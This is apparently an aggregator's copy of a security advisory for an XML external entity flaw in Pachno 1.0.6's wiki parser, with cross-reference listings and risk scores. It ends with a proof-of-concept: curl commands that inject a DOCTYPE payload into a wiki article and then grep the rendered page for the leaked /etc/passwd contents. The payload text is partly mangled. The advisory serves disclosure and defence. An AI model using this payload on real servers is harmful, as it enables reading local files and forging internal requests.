Pachno 1.0.6 Wiki TextParser XXE Vulnerability

🗓️ 12 Apr 2026 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 32 Views

Pachno 1.0.6 XXE flaw in Wiki TextParser allows authenticated users to read local files and SSRF.

Reporter	Title	Published	Views	Family All 10
ATTACKERKB	CVE-2026-40042	13 Apr 202618:10	–	attackerkb
Circl	CVE-2026-40042	13 Apr 202619:22	–	circl
CNNVD	Pachno 安全漏洞	13 Apr 202600:00	–	cnnvd
CVE	CVE-2026-40042	13 Apr 202618:10	–	cve
Cvelist	CVE-2026-40042 Pachno 1.0.6 Wiki TextParser XML External Entity Injection	13 Apr 202618:10	–	cvelist
EUVD	EUVD-2026-22049	13 Apr 202621:30	–	euvd
NVD	CVE-2026-40042	13 Apr 202619:16	–	nvd
Positive Technologies	PT-2026-32496	13 Apr 202600:00	–	ptsecurity
RedhatCVE	CVE-2026-40042	14 Apr 202619:22	–	redhatcve
Vulnrichment	CVE-2026-40042 Pachno 1.0.6 Wiki TextParser XML External Entity Injection	13 Apr 202618:10	–	vulnrichment

<html><body><p>Pachno 1.0.6 Wiki TextParser XXE Vulnerability


Vendor: Daniel André Eikeland
Product web page: https://github.com/pachno/pachno
Affected version: 1.0.6

Summary: Pachno is an open-source collaboration platform (formerly known as The Bug Genie)
designed for team project management, issue tracking, and documentation. It offers a module-based,
customizable environment for software development and team workflows, distributed under the
Mozilla Public License.

Desc: Input passed via wiki table syntax ({|..., |-..., |...||...) and allowed inline tags
(<span>, <div>, <blockquote>, etc.) in issue descriptions, comments, and wiki articles is
concatenated into XML strings and parsed by simplexml_load_string() in the TextParser helper
without setting LIBXML_NONET or otherwise restricting entity resolution. On PHP installations
linked against libxml2 &lt; 2.9.0 (where external entity loading is enabled by default), this
can be exploited to read arbitrary local files via the file:// scheme, perform server-side
request forgery against internal services via the http:// scheme, and exfiltrate the response
body through reflected XML attribute values. Successful exploitation requires an authenticated
session with permission to create or edit content that is rendered through the wiki parser.
On PHP 7.4+ installations with libxml2 &gt;= 2.9.0 the vulnerability is mitigated by the underlying
library but the unsafe code pattern remains.

Tested on: GNU/Linux
           Apache2
           PHP/7.4
           MySQL/5.7 (MariaDB)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5984
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5984


06.04.2026

--


$ curl -v -b cookies.txt -X POST "http://127.0.0.1/docs/r/4/edit" \
  --data-urlencode 'article_content={|<!DOCTYPE x>
]&gt; class="wikitable &amp;xxe;" \
|-\
| ZSL\
|}'


$ curl -s -b cookies.txt "http://127.0.0.1/docs/4/article-name" | grep -o 'class="wikitable [^"]*"'
root:x:0:0:root:/root:/bin/bash
...
</blockquote></div></span></p></body></html>

12 Apr 2026 00:00Current

6Medium risk

Vulners AI Score6

CVSS 49.3

CVSS 3.19.8

EPSS0.00373

SSVC